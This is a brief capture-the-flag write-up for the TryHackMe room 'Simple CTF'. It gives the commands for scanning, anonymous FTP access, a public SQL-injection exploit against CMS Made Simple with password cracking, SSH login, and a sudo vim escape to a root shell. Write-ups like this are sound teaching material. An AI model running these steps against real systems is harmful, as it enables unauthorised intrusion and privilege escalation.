TryHackMe: Simple CTF

15 June 2026  ·  tryhackme ctf linux privesc

Overview

Room: Simple CTF
Difficulty: Easy
Platform: TryHackMe


Enumeration

Started with an nmap scan to identify open ports:

nmap -sV -sC -oN nmap_initial.txt 10.10.x.x

Results:


FTP Enumeration

Anonymous FTP login revealed a file:

ftp 10.10.x.x
# Login: anonymous / anonymous
ls -la
get ForMitch.txt

Contents of ForMitch.txt hinted at a weak password for user mitch.


Web Enumeration

gobuster dir -u http://10.10.x.x -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Found /simple — running CMS Made Simple 2.2.8, vulnerable to CVE-2019-9053 (SQL injection).


Exploitation

Used the public exploit to extract credentials:

python3 exploit.py -u http://10.10.x.x/simple --crack -w /usr/share/wordlists/rockyou.txt

Retrieved: mitch:secret


SSH Access & Privilege Escalation

ssh mitch@10.10.x.x -p 2222
sudo -l
# (root) NOPASSWD: /usr/bin/vim

Used vim GTFOBins escape:

sudo vim -c ':!/bin/bash'

Got root. 🎯


Flags

FlagValue
UserTHM{REDACTED}
RootTHM{REDACTED}

Key Takeaways